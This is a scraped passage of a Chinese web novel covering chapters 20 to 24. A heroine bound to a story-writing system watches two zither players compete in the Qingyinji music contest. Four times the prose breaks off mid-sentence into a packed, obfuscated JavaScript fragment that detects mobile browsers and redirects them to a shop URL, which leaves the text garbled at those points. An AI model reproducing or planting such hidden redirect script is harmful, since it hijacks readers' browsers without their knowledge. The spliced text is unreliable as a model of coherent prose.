他的心下唯余五味杂陈,当下实无唇枪舌战回击对方的心思。 他来尘川不足一年,是几日前才知这个一年一度、名叫清音集的赛事。 在民间,这个“尘川第一弦”的名号可不是一个虚名,而几乎是人们公认的名利双收。 若能拿到这个名号,尘川县域内大部分通晓琴曲的人都会对此人另眼相看,届时若想要行事方便,或者争名夺利,自然也成了更便利更顺理成章之事。 暮云逸来郁府前,为避风头从未关注过此等赛事。可来了郁府,他素日无事可做,又因郁离枝待他极好,他便慢慢生出了想做些事报答郁离枝之意。 因此,早在离枝姑娘带回陵镜听之前,那夜的饭局上,暮云逸欲言又止所言的报答,就正是此件事。 他想去参加清音集,成为尘川第一弦,报答郁离枝的知遇之恩。 本已决定好了要参赛,可不料郁离枝回府带回来一个新的琴师,他几日都方寸大乱,再无暇顾及什么参赛。 却不曾想,再次听到此赛事,却是在此种情景之下。 况且陵镜听还恰好是……上届魁首。 而他要与上届的魁首竞技,去争夺郁离枝的偏爱。 暮云逸已维持手指收紧的姿势许久,指尖已然微微泛凉,镀在掌心,带来不容忽视的触感。 可若离枝姑娘想看,那暮某亦只能…… 暮云逸倏地松开握紧的手指。 “离枝姑娘之愿,暮某也……在所不辞。”一语一字一顿,可暮云逸却未偏向陵镜听一寸,而是目光坚定,坦然地望向郁离枝。 恍若某种誓言。 郁离枝直直对了这双炽烈双眸两秒钟,适时敛眸。 “离枝托人打听过了……海选只剩两日时间了。明后两日,暮公子与陵公子可要记得去指定地点报名,通过海选。” 一人话语宛如茶水般温润。 “镜听不会辜负离枝姑娘的期望。” 一人话语却唯像一声叹息。 “暮某……明白。” “祝暮公子、陵公子大展鸿图、旗开得胜。离枝不耽误二位练习的时日了,还请,明日再见。”郁离枝终于交代完事项推完了剧情,已有归心似箭之意。 今日席上,她无端觉得她自己好像发布任务的npc。 快让我回去领结晶! 与暮云逸、陵镜听拜别后,郁离枝直奔书房。 【欢迎来到“韵文之庭”!】 【恭喜玩家完成主线第二章第五幕!请前往任务界面领取奖励!】 结晶结晶! 又是400结晶到手了! 郁离枝关了任务界面,开始反复欣赏她的结晶余额。 在清音集到来前的这几天,她也可以照常写剧情过稿,骗结晶吧? 以及,她今日找人询问赛事的时候,还得到了一些关于凉山别业的情报。 据说别业内景致明丽清雅,美轮美奂。园主想来会齐备各式价格不菲的美酒珍馐,各界被邀请来的名门望族都可在此吟诗作赋,听稀世琴音,岂不美哉! 郁离枝是美了,可随着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271050|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 串夺命拍门声,一个绝世苦瓜登场了。 “阿离!你收到请柬了吗?我真的悔死了呜呜呜,今年我们郁氏第一次被清音集邀请,可我却去不了!呜呜呜,郁氏似乎只有你能去!”郁无玦箭一样窜进来,之后就开始声泪俱下状,“你一定要替哥哥好好看看凉山绝景,多喝点美酒知道吗,熊掌鱼翅什么的珍馐多吃一点……连带着你无玦哥哥的份一起……” 聒噪。 郁离枝扶住额头,下意识伸手打住眼前这个话上长了个人的哥。 “哥哥是说……哥哥去不了?为何?” 郁无玦“嗷”一嗓子,话音戚戚宛如祥林嫂:“亦嫣姐又走了,这次是跟她同门一队人一起去研学,把伯父伯母留在这里。伯父没事干就只盯着拾掇我,还勒令我七天不得出府玩乐,我好苦的命……” “……亦嫣姐什么时候走的?那么郁家还真唯有离枝能去了。”郁离枝复读道,意欲堵住郁无玦哭天喊地的嘴。 “今早就走了……谁成想呢!中午就送来了请柬,亦嫣姐直接与请柬失之交臂!不过话说……听伯父说,本来亦嫣姐要再待几天才出去的,似乎是朝堂里有些人……看中了亦嫣姐能力,想一此行做视察呢。要我说,这群老东西终于要放下对女子的成见了,须知要是能跟亦嫣姐共事可是这群老东西几辈子修来的福分呢……”郁无玦已从铃声模式切换为絮絮叨叨模式。 郁离枝却有些出神。 亦嫣姐可能要入朝为官了?好厉害。 在这种朝代……女性恐怕只会更加不易吧。 又跟郁无玦扯了一会皮,郁无玦被伯父抓了回去,余下郁离枝一人在这寂寂书房。 只是自己这已是第二世,且绑了个文案系统,实是没有什么意愿,也没有什么条件再去从家族之愿了。 可是万一届时世家的压力终于落到她的身上了呢?到时候她该如何自处? 郁离枝想了一会,又对着平铺开的全息界面发了好一会呆。 算啦,今朝有酒今朝醉,明日愁来明日愁,走一步看一步吧! 郁离枝大手一挥把愁闷思绪从脑子里赶了出去,身前的全息界面却适时出声: 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:4520!扣除后余额:4420!】 这声音都快成为她的催眠曲了。 郁离枝投入锦床的怀抱,不一会儿,就陷入了梦乡。 郁府的另一处,书房的灯却还亮着。 一指修长白玉的指节在清透琴弦上轻拢慢捻,激起阵阵扰动木制琴身的轻颤。 陵镜听惯以这种方式来加深自己对这只琴的觉知。 在几声低沉缠绵的嗡嗡声之中,却突兀地响起一声结实、清脆的琤然一声。 陵镜听动作一顿,收了手。 他想起夜宴之时那个女子的声音:“……本届的''尘川第一弦'',便是此后可以在这内厅为我献曲的琴师……” 他几乎以为这就是郁离枝抛来的橄榄枝了。 毕竟整个尘川的琴师都难出自己之右。 可他却无端的烦闷。 他吸了口气,调整节律,又轻柔地抚琴。 房间内灯光满溢,院子外,却是一片全然的黑暗与冷寂。 郁府已经几乎全然陷入沉睡。 一掌灯笼的丫鬟夜里执勤,行至客宅附近,被更深的露水冰得手脚发冷。 她不觉停在暮云逸住处院门前,轻轻跺脚搓手,以恢复一丝的暖意。 这是专门的客宅区域,四邻无人,暗夜漆漆。 丫鬟搓过了手,正欲拾起放至一旁的灯笼接着巡逻,却突然一顿。 “奇怪了……这么晚了,怎么还有琴声?” 丫鬟不确定地望向那曲声飘来之处。 那琴声越加明显了,混杂着浓重不见五指的夜色,竟给人一种不知此间是何处的迷蒙之感。 丫鬟听了几声,觉得寒气侵体,便抬起脚离开了。 只余那琴声不息而执拗地响着,与时间一道,沉入似乎没有尽头的黑夜。 21. 雄竞扯头花(六) 暖阳初升,洋洋洒在市井街巷,为这世间添了几分凡俗烟火气。 尘川崭新的一天开始了。 在一处喧闹集巷中,一高耸茶楼内食客三三两两,杯碗相撞之声此起彼伏,戏台上渐次传来悠扬琴声。 暮云逸抬眼望向茶楼门前的“听雪”二字牌匾,待做好了某种确认,他深吸一口气,一脚踏入茶楼。 暮云逸越过重重茶座,直奔店里的戏台。 戏台上,一衣着朴素之人在调弦弹琴。戏台正前方的茶座上,两位衣着正式的评委神情严肃地目视台上之人。戏台下,一说书先生模样的男子在戏台前报幕,手里拿着纸笔忙里忙外。 暮云逸上前走近那说书先生,将手中的琴微一递,开口: “请问,''清音集''海选可是在此处?” 那忙前忙后的男子停下动作扫了这公子一眼,往一旁桌上的一个名册上一努眼: “喏,报名需往那册子上写好姓名与当今的住所。注意哈,清音集只收尘川县域内之人,其他县域专程为比赛过来的异乡人就不要想着捡漏了哈……以及,琴请各位自备,曲目亦自行选择……” 男子话音叽里咕噜,语速飞快,囫囵吞枣好似在背什么书目。 暮云逸微一颔首,径直走向那置着报名册的桌案。 说书先生交代完了规则,刚一转头,却一眼撇见了刚踏进门的另一男子,面色浑是不可思议,又立马换了一副诙谐语调谄媚:“哎呦!您可来了……那这里鄙人再加上一条规矩,上届清音集的前三甲可以破格免试进入正赛!只不过也请在这名册上登记……” 那公子白衣胜雪,足下生风,笑面亦和煦如春风:“哦?我竟不知,清音集历年竟还有此等规矩?” 暮云逸笔尖一顿,却只是一瞬。他未曾抬头,复又落笔,工整填了报名纸上的空白。 陵镜听这一语落定,却是惊起周边客。 两位评委亦闻声转头,见了来人皆是惊起,遥遥向这久闻大名的上届魁首热情作揖。 说书先生堆着笑:“去年是没这层规矩。可谁知今年的清音集,临近海选尾声,去年的前三甲都不曾露面,就连大名鼎鼎的''尘川第一弦''也不知所踪,我们也是求贤心切,方补了这么个规定……” “镜听也只是个无根可依的浪人罢了,今日在此处,明日可能就不知去了何处呢,实不值得诸位特地等候。”陵镜听故作愁闷之态,插科打诨欲打发这人,不料对方见陵镜听接话,顺坡下驴开始客套。 “可不是嘛!若是少了您这样的琴师,于尘川而言亦是一种莫大的损失……” 陵镜听飘飘然从此人身旁擦肩而过,未再回什么浑话,直直向那翘首以盼状的评委二人走去,迅速回了一揖,与二人交谈起什么。 暮云逸未曾理会店内因陵镜听而起的喧吵之声,而是默不作声地将报名表填好,得到说书先生告知的次序后,便回了茶座兀自调音。 台上那位选手之后的下一人,便是他了。 陵镜听正笑面回着两位评委的盛情客套,闻声不着痕迹地扫了暮云逸一眼。 不料就这一眼却正正被说书先生给逮住了,他三步跨到陵镜听跟前,一副势必要搅这个浑水的样子: “陵公子!虽说是前三甲无需试炼便可入赛,但是陵公子看在咱们这一屋子大早上就巴巴地赶来听曲的父老乡亲们的份上,不给咱们这些下里巴人们见识见识,也太说不过去了吧?乡亲们,你们说对不对?” 茶座上的农人汉子们见有人牵头,纷纷也嚷了起来。 “就是就是!” “这可是百闻不如一见呐!可得让我们好好听听!” 一众糙民大汉起哄起来,茶楼一时吵吵嚷嚷。 “哎呀,我们家阿豆好几天前就吵着想听曲,想见''第一弦''公子,阿豆,那个公子就是''第一弦''先生,看到了吗?”在这一众七嘴八舌的杂声之中,一妇女抱着怀里七八岁有余的小儿,柔声柔气地哄道。 “弦、弦先生!嗯……不对、是弦哥哥!”稚嫩童音清脆如铃,穿透农人们的瓮声瓮气,直直抵了戏台前的陵镜听耳中。 陵镜听闻声柳眉弯起,迎了农人们的热盼目光,只得无奈道:“一首,不能更多了。” “自然!不耽误陵公子时间,那下一位就陵公子来吧!哎对了……刚才有个公子……”说书先生挠挠头,望向茶座上目不斜视试琴的暮云逸,遥遥喊去,“公子!可否稍微通融一下,推迟一名呢?” 暮云逸原本在茶座端坐调音,身边人起哄亦不为所动,唯有那妇人与儿童出声时,方不知觉停下手指。 那孩童似是不懂为什么就听个曲大人们还要问来问去,懵懂双目望向这位青衣男子。只见眼前这位大哥哥面色比之那“弦哥哥”温润不足,严肃有余,眼睛忽闪忽闪轻眨了几下,噤声不说话了。 “无妨。”迎着小童期待双目,暮云逸不觉将音色放缓,轻声道。 “耶!谢谢哥哥!”阿豆欢欣鼓舞地蹦蹦跳跳,把手伸起来跟他母亲抱了个满怀,“阿娘!太好啦!” 暮云逸收回了目光,复又将目光投到戏台上正受试奏曲的那人身上。 那人身穿布衣,琴音略显生涩,磕磕绊绊弹奏至尾声。 说书先生着急忙慌地开始收集结果: “来来来,观众评委席,觉得通过的请举手!同是选手的不算数哈!” 茶座上稀稀拉拉举起三两只手掌。 说书先生扫了一眼,又俯首跟两名评委交谈几句,高声宣布了结果: “一百五十六号,刘楚,0票,未进入正赛!” 台上之人垂头拖拉着脚步走下了台:“唉……今年也没能入围……” “来来来,陵公子!让我们见识见识!”说书先生往那册子上划了一道,随即开始张罗。 陵镜听于是抱琴缓步上了台。他先以修长手指揉琴抚了两声琴音调音,随即弹起了一曲灵动清音。 两位评委夹了几日的眉头在这舒缓琴音下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286759|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于得以化开。其中一位评委甚至闭目点头,已然一副陶醉之姿。 茶楼内的乡人食客亦都停了手中茶水,嗑瓜子的动作都停住了,似是不忍为这曲音添一丝杂扰。 确实很强。每个音都处理地恰到好处,让人挑不出来一丝毛病。 暮云逸手指微微收紧。这琴音也正提醒着他,此人实力深不可测,切不可轻敌。 纵然四日之内将能力提升至魁首的标准听上去有些天方夜谭,但是…… 暮云逸想起昨夜郁离枝向二人道出要求时直直看向他的双眸—— 坦然,郑重,甚至还有一丝未曾言说的信任。 以及……他后来反复回想的时候记起,郁离枝说出那句话时,注视他的时间似乎比注视陵镜听的要长。 这是不是意味着……她更希望他赢? 暮云逸嘴角挽起一抹清浅笑意,但又转瞬即逝,取而代之的是一脸严肃神色。 他不能辜负离枝姑娘对他的期待。 他一定要竭尽所能,为郁离枝争夺荣耀。 戏台上,暮云逸深吸一口气,而后将手指置于琴上,只消几声便播撒出一个崭新世界。 因为已经吃了鲍鱼珍馐所以腻歪于其他的小菜,瘫在茶座上略有懈怠的两名评委听了这几声,却是双双坐直了腰。 随着如泉水般流淌的琴音,两名评委俱是心下惊奇。待到和缓的间奏,两评委不自觉交换了一个带着几分惊异,甚至是几分惊喜的目光。 “阿娘,这个哥哥的曲子也好听……这个哥哥跟弦哥哥一样,都是长得好看弹琴又好听的哥哥!”阿豆在那妇人怀里,抬起头别着脸看向母亲,童言无忌道。 隔了一个茶座的陵镜听闻言却是顿住了端着茶杯的手,微微一笑:“哦?那小朋友觉得,我跟这个哥哥,谁弹得更好呢?” 阿豆见如天神下凡一般的弦哥哥竟在温声同他说话,小小心脏已按捺不住激动,正要顺理成章喊出:“自然是弦哥哥!”但眼睛滴溜溜一转,想起另一个公子在台下开口时的和缓双目,愣是卡了壳。 “……嗯、嗯……阿豆觉得,都好听!”阿豆咬着不怎么利索的舌头,认认真真得出了结论。 “原来如此……”陵镜听含着笑意点头,话语仍是哄小孩子的软声。 暮云逸手指之下一曲终了,俯身轻轻鞠了一躬。 说书先生转身面向观众席问票。只见这茶座上的听众虽是默不作声,却也几乎全然是把手举了起来。 就连阿豆小小的一个人,也一脸煞有介事地把手指举得高高的。 结果是不出所料的3票,全票通过。 戏台上仍有选手陆续登台,可暮云逸却不欲再过多耽误。 正赛前的这四日,每一分每一秒,于他而言都重若千金。 暮云逸快步回了郁府。 陵镜听跟茶楼的几名熟人客套完之后,亦早早赶了回去。 而此时的郁府,也不过才到刚刚升起袅袅青烟的时分而已。 22. 雄竞扯头花(七) 郁府内厅,郁离枝坐于桌前凝眸沉思,指尖一下一下轻叩在檀木椅扶手上,发出几声接连的清脆声响。 今天一整个白日,她都一头扎在写稿一事上。 今晚的剧情倒是写好了,只是她突然发现一个问题。 是关于三日之后的清音集正赛的。 那就是她对清音集决赛规则几乎一无所知。 这要她怎么写几日之后的清音集正赛? 郁离枝一只手支着下巴,不觉呼出一口闷气。 内厅绰绰光影之下,一白衣公子持琴走了进来。 “离枝姑娘。”男子音色柔和似柳,颇有沁人心脾之感。 清音集…… 清音集…… 对了!既然是上届“尘川第一弦”,肯定对清音集各项规程都了如指掌吧? 郁离枝抬头见了这走近的玉面公子,眼前一亮。 “陵公子。” 陵镜听睫羽微敛,行了一礼,在郁离枝的招呼下坐于一旁。 “离枝姑娘可是……有什么心事?镜听刚进来时,见离枝姑娘似乎有些愁容未展。” 陵镜听柳叶眉眼抬起,一双盈盈水眸关切地望着郁离枝。 “陵公子果然心思细腻。离枝只是有些好奇……这''清音集''赛事,具体到底是何种规则呢?” 陵镜听闻言,眉眼舒展开来:“镜听当是何事呢,离枝姑娘若对此事感兴趣,且听镜听为离枝姑娘细细道来。” 郁离枝颔首。 “每年''清音集''大概会有三十名左右的琴师进入正赛,而这三十名琴师里面又会角逐出琴艺最高超的几人进入决赛,有时是前三甲,有时是前两名。” “那么决赛又是如何进行的呢?”郁离枝在心里默默记下,追问道。 “决赛的话……不出意外会有三轮比试,由三名顶尖琴艺的评委裁决,不过具体事宜还有要主办方自行决定。若是前几年还好预测,但是今年……”陵镜听顿了一顿,复又开口,“今天凉山别业刚更换了主理人,那位……名为徽元轩的商人,却是从未曾在公众前公开露过面的。而时年的清音集,是他初次亮相之际,是以届时恐怕会依他之命做些改动。” 哦?郁离枝听着这话音,敏锐地察觉到此事似乎大有可为。 郁离枝盯着陵镜听淡定双眸,目光炯炯,一副打破砂锅问到底之态: “那么陵公子可知,这凉山主人,是个怎样的人?” 陵镜听迎了郁离枝杏眸,却是柳眉一弯,正要卖关子,却听外面“吱呀”一声,一青衣公子于夜色中走入。 暮云逸甫一推门而入,眼前撞见的便是这样一幕景象:郁离枝双眸盯着那白衣公子,而被盯着的那白衣公子却于座上嘴角噙笑,兀自八风不动。 活像一副得了什么好处的样子。 暮云逸足下一顿,微微垂头不去看眼前二人,缓缓走了过来。 诚然……离枝姑娘的目光,又何尝不算是好处呢? “暮公子。”见来了人,郁离枝一瞬就把打探情报之事抛诸了脑后,只扬起温婉笑意招呼暮云逸。 暮云逸微微低头,顺从地入了座。 侍从下人们鱼贯而入,将圆桌上摆得满满当当。一侍女恭敬地走上前来分别为三人注上茗茶。 茶香氤氲开来,混着席间鱼菜肉香,悠悠飘入郁离枝感官。 她招呼起身旁二人拾筷,刚夹了几口温热菜食下肚,却听身旁白衣男子话音轻起: “离枝姑娘,可还要听那关于徽氏商贾之事?镜听云游四方,对这些同样四处行商的商人,还是略有耳闻的……” “也好。”郁离枝放下茶杯,点点头。 “依镜听所知,徽元轩昔日是收取文玩古物起家的。许是近几年行情不景气,他来到尘川重金买下当今最炙手可热的园林,凉山别业。此园林奢靡非常,日常维护费用便不胜其数,主要是供给世家名流望族做消遣之用。徽元轩将时年''清音集''定在此处,恐怕亦有为其招徕客人之意。” “原来如此。”郁离枝听得认真,持了茶杯沉吟道。 暮云逸并不知这些江湖商贾之事,见了陵镜听一副见多识广津津乐道之姿,又见郁离枝亦听得入神,不觉吸一口气,将桌下手指收。 暮云逸眼底泛起黯然。 “……那陵公子可知,此人是何种为人?可有什么喜好?”郁离枝不绕弯子,直言相问。 陵镜听闻言却是一顿,似是未曾料到郁离枝会提出这样的问题,但却只是以笑意眉眼无声地道“离枝姑娘这样问,是想要做什么?”,开口却仍是温顺: “实不相瞒,镜听确实有所听闻。当年凉山别业抛售易主之时,镜听确实也在尘川。” “哦?说来听听。” 席上这二人你一言我一语,陵镜听话音徐徐,郁离枝面色也是……跟与自己交谈时全然不同的兴起神色。 暮云逸看着郁离枝,看着她追向陵镜听的专注目光,一颗心渐渐沉到谷底。 好似离枝姑娘与他才是棋逢对手,才子佳人。 不愿再往下细想,暮云逸扭过头去。 “当年凉山别业售卖一事,是整个商界都瞩目的大变动。商界纷纷猜测哪位名人会成为新的凉山主人,而凉山别业售卖不菲,能有此财力的人实是凤毛麟角,因此可能接手的商人也就锁定在了几人身上。” 陵镜听跟说书一样,把故事讲得娓娓动听。 “当时人们甚至搞了押注,赌谁会接手,几派人争论不休。”陵镜听一顿,话锋一转,“可真正售卖之日,拿下凉山别业的却是另一个名不见经传的''小商人'',也就是徽元轩。商界根本没有预料到会是这样一个小人物接手凉山别业,也不曾预料到徽元轩竟有如此资产。” 陵镜听轻放下茶杯,仿若一锤定音道: “后来业界人分析,徽元轩许是几乎倾尽家财才买下凉山别业,且运营周转那么大的园林许久,手头上……应是不会有太多积蓄的。” 缺钱?郁离枝眼神微动。 “怎么样?镜听所知的这些……离枝姑娘可还满意? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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写稿这么久,也终于算是让她摸到了一些门路。 终于不用被审稿系统追着杀了! 剧情线构筑完成之后,她随即叫来楚岚山,吩咐了些关于明日去凉山别业的事务。 楚岚山低声应了,迅速出了门去准备。 郁府另一处,暮云逸似有所感,自琴弦上微微抬起头,目中神色复杂。 陵镜听亦自琴上抬起酸软手腕,不觉望向窗外庭院的翠竹,缓缓呼出一口气。 明日,谁也无法预料结果会是怎样。 能做的唯有尽全心,倾全力。 大赛临近之夜,两名参赛选手一刻都不敢停歇,皆是难眠。就连郁离枝这个看似与赛事无关之人,也因为写稿一事,跟清音集缠上了丝丝缕缕的关系。 无论人心意愿如何,时间却不会有丝毫的停滞与心软。 清音集正赛,开幕了。 23. 雄竞扯头花(八) 凉山别业内,天际空远,不染纤尘;秋色明丽,澄净如洗。 郁离枝摇着一把小团扇边走边看,扇柄上的穗子随着她的步子柔柔扫过她的手腕。 穿过层层叠叠的月洞门与错落假山,一汪莲塘映入郁离枝的眼帘—— 翠竹掩映,红枫飘落。白墙黛瓦将视野限于一墙之间,却也让人目光能越过墙瓦,得以窥见远处已是深浓黛墨之色的凉山。 凉山别业正是背倚凉山而建造的,落于凉山脚下,也因此而得了这个名字。 郁离枝穿过曲桥,又循着幽径,施施然将别业内风格迥异的院落逛了个大半。 移步易景,一个接一个的月洞门仿佛含羞粉面,框住了来客的期冀双眸,却在几步追寻之后,带给来客豁然开朗的惊艳亮色。 郁离枝不禁有些啧啧称奇了。 倒确实是个当之无愧的好去处。 不过郁离枝在游览之时,却刻意避开了别业内最大最正式的、也是此刻最为热闹的厅堂,凉轩堂。 因为,那便是“清音集”正赛举办的场所,而此刻也正溢满了悠扬琴曲之声,与院落内的各色奇花异木的香气缠缠绵绵,飘入此刻正在逛园之人的感官里。 大部分来客已在凉轩堂坐定高谈阔论,吟诗作赋。要问郁离枝为何不凑这个热闹…… 她只是知道一件事,她的两名琴师是一定会进入决赛的,不必去多费时间观赏。 这倒不是因为她的剧情之力,而仅仅是因为她对她的两名角色的了解。 真正需要她登场的只有……过午时分的决赛。 郁离枝逛了一会,寻了湖上的一处亭子坐下。却一眼瞥见莹滑石桌上,摆着些白黑两色棋子。 郁离枝探眼看向桌上残局,却听见身后一老者之音: “……姑娘,来一局?” 郁离枝转头望去,见一矍铄老者含着和蔼笑意,缓缓走近。 “也好。只是敢问长辈您……如何称呼?”郁离枝不觉有异,恭敬应道。 此次清音集邀请了诸多名门望族,入园做了层层检查,应当是不必警惕,许是某个德高望重但深居简出的名流,受邀来到此处。 “哈哈,姑娘客气,叫我''无事人''便好。”老者开怀笑道。 “''无''长辈,您先请。”郁离枝便也不再多问,只是朝棋盘上行了一礼。 凉轩堂内,暮云逸抱琴坐于台下,手指握紧又松开,松开又握紧。 台上演奏之人,无一不是技艺精绝。 耳边传来陵镜听与相识之人松快交谈的零碎话音,扰得暮云逸愈发心神不宁。 他不觉望向窗外,透过熟红色木制墙壁的镂空,遥遥望向那绿木掩映的荷塘。 却是翠色堆叠,目力难及。 离枝姑娘现在……在何处呢?又在做什么? 为何不来凉轩堂内观赛?难道……离枝姑娘她并不在乎结果会如何? 他前所未有地渴求着看到她的身影,渴求被她那双明亮杏眸注视,渴求能听到她的温婉话音……无论说什么都好。 “……看来,是我输了。”郁离枝盯着棋局沉思片刻,开口。 “哈哈哈!我这无事人,也许久没有下过如此酣畅淋漓的棋了!姑娘亦是才思非凡,日后必定能成大器!”那老者笑得爽快,盘起一只腿拍着膝盖赞道,看上去实是不拘小节。 “''无''长辈谬赞了。晚辈比之您,还差了十万八千里。话说,''清音集''正赛业已开始,''无''长辈不去听曲吗?” 那老者却一脸浑不在乎,抻头把来时放在桌底的一只酒坛启了开来,冲郁离枝一举: “姑娘不也是,没去听曲吗?要不,跟我浅酌几杯?” “谢''无''长辈好意了,晚辈还想接着去赏园,就先谢绝长辈厚意了。”郁离枝站起身来,向这老者一礼。 “哈哈哈!也好!明媚少年郎,确实当惜取朝暮,行乐又何妨!”老者还未说完,便举起酒坛痛饮。 郁离枝飘然而去,踱到别处去赏景。再漫步回莲塘之时,却见那老者已然在那石凳上酣醉,手上抱着酒坛梦呓,恍若梦到了什么美事。 郁离枝微微一笑,放缓了脚步,走向了别的院落,与主动搭讪的年纪相仿的名流们有一搭无一搭地闲谈。 日影渐渐移至头顶,及到了午餐之时,凉山别业的侍从们将来客分别安置在几个花厅,设珍馐美宴招待来宾。 侍从如织,一个接一个地进来奉上各式凤毛麟角的珍奇菜食。 口感绝佳的蟹肉鲍鱼,口味绵长的千年贡茶,还有重金求来的异族佳酿,无一口不是味蕾上的极致享受。 郁离枝轻抿一口已然喝惯口的青雪茶,目光凝于桌上酒坛之上,似在沉思。 交杯换盏之际,宴席也渐渐到了尾声。 宾客纷纷离席,有的去闲逛消食,有的则直接去了凉轩堂。 因为还有不到半柱香,就要到清音集决赛开始之时了。 郁离枝心中无事,索性想着就先去凉轩堂,占个好位置听曲。 郁离枝施施然走出花厅,顺着簪了一簇簇花团与灌木的小径,向凉轩堂的方向走去。 路上,郁离枝经过两位结伴而行的世家公子身边之时,听到其中一位公子故意压低的话音: “听说此届清音集决赛,请来了一位隐退多年的前辈,不知是谁?” “能让如今最当红的那二位作陪的,还能是谁?”另一人反问道。 郁离枝与二人擦肩而过,径直走入凉轩堂,而后择了正对台前的一前排座位坐下。 不消几盏茶时间,凉轩堂便坐满了人。 郁离枝抬眼望向戏台旁的席位,那是为参赛选手们准备的座位。 她扫视几眼,看见于座上和煦浅笑的陵镜听,盯了几息又移开了目光,终是在一个角落座位上找到了暮云逸的身影。 他低着头,看不清表情。 透过木制墙壁的镂空,荷风阵阵吹入厅堂之间,与茶香一道,混成某种悠扬绵长的气味。 厅堂内渐渐安静下来。 一身着深棕色正式锦袍的年轻男子登台,持着手中册本,开始报幕,看模样应是雅集司正。 “现公布上午正赛中,各参赛选手的分数排名!” 郁离枝悠然端起茶杯,另一只手绕着手上团扇的穗子,在小指上绕了一圈又一圈。 “第三十名,陶白,七十六分,未进入决赛!” …… 厅堂四下皆是沉寂,四邻的座客都在屏息凝神。郁离枝却安然坐于座上,兀自八风不动地呷茶。 “第五名,明瑞雪,八十七分,未进入决赛!” 果然如她所料,听到此处,仍是未闻暮云逸和陵镜听六字之名,两人应当是都安然晋级了。 “第三名,苏余年,八十九分,未进入决赛!” 司正话音落到此处,厅堂内已惊起小范围的骚乱之声,可安坐其间的郁离枝嘴角却挽起微微笑意。 角落座位上,暮云逸胸口激烈翻涌。 他猝然松开几乎快要被掐破的手心,而那全无血色的掌心,而今已然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“暮某才是。陵公子,请赐教!” 两人目光相接,僵持了几息。郁离枝坐在离戏台很近的座位,因而能听得一清二楚。 郁离枝看着台前二人,无端嗅到了一丝火药味。 陵镜听与暮云逸依次登台,分别对着台下行了一礼。那台上司正高声宣布: “本届''清音集''决赛,共分为三轮考核!票高者得胜,由三位特邀评委裁定。请各位看官拭目以待,本届的''尘川第一弦''究竟会花落谁家!” “有请三位琴艺泰斗坐上评委席!” 郁离枝悠闲惬意又抿一口茶,却一眼瞥见台上一熟悉的身影,手指一哆嗦,险些喷出一口茶来。 郁离枝战战兢兢放下茶杯,直直看向那缓缓走上台去的醉步老者。 不是那“无事人”长辈又是谁? 他面色泛红,脚步虚浮,怀里甚至还抱着只眼熟的酒坛。身侧两名评委,一位中年儒雅,一位青年俊朗,却双双对这醉者颇有见怪不怪之意。 那醉酒老者摇摇晃晃跌到评委席座上时,身旁两位还分别对这老者恭敬一礼。 郁离枝心中惊疑不定,这老者究竟是何方神圣? 一道声音响起,却如一锤定音,正式撕开了清音集决赛的序幕—— “决赛第一轮,琴艺比拼——正式开始!” 司正握着手中书册,音色洪亮,在凉轩堂内激起些微回音: “受试者将分别弹奏难度较高、对技艺要求较高的同一曲目《雅音集》第一百五十六首,并由三位评委裁决,孰人技艺更胜一筹!” 24. 雄竞扯头花(九) “请两位选手,抽签决定次序,大者先手。” 司正将一只墨色竹筒分别递与了陵镜听与暮云逸二人,两人先后从中抽出一只缚着整片竹叶的竹签,两人分别将竹签交由台上两名待命的侍者。 两名侍者将竹签上的竹叶裁开来。 陵镜听抽到的竹签上写着“六”。 而暮云逸抽到竹签上的数字是“二”。 “此局——陵公子先手。” 郁离枝身侧响起议论之声。 “看来陵公子今日手气不错哦。” “可不是嘛,陵公子今年必定也是天时地利人和,一鼓作气,拿下今年的魁首!” 郁离枝未发一言,而是抬眼看向戏台。 陵镜听已将琴置于琴案之上,轻拂衣袖,指落于琴—— 一阵明快旋律自戏台之上华丽地流淌而下,节奏紧凑,转音密集,激起身侧众人的纷纷赞叹。 “不愧是陵公子啊,此等曲目居然也能演奏成这样,感觉除了这曲子的作曲者本人,很少有人能做到如此了吧……”一人痴痴道。 “确实……丝毫不差。不愧是''尘川第一弦''。” 陵镜听的琴声谢幕,他拾琴,对台下观众一鞠躬,退到戏台一侧。 暮云逸持琴走上来,置琴之前先对台下恭敬一礼,而后才将他那自家族带来的古琴小心置于琴案之上。 郁离枝凝眸看着。 暮云逸于戏台上坐定,却未直接抚琴,而是手掌悬停在古琴琴弦上,温柔垂眸,手指在某两根琴弦上,缓慢而缱绻地轻抚两下。 郁离枝心间一动。 还未等郁离枝捕捉到自己的什么思绪,一曲同样明丽顺畅的清音倾泻而下。 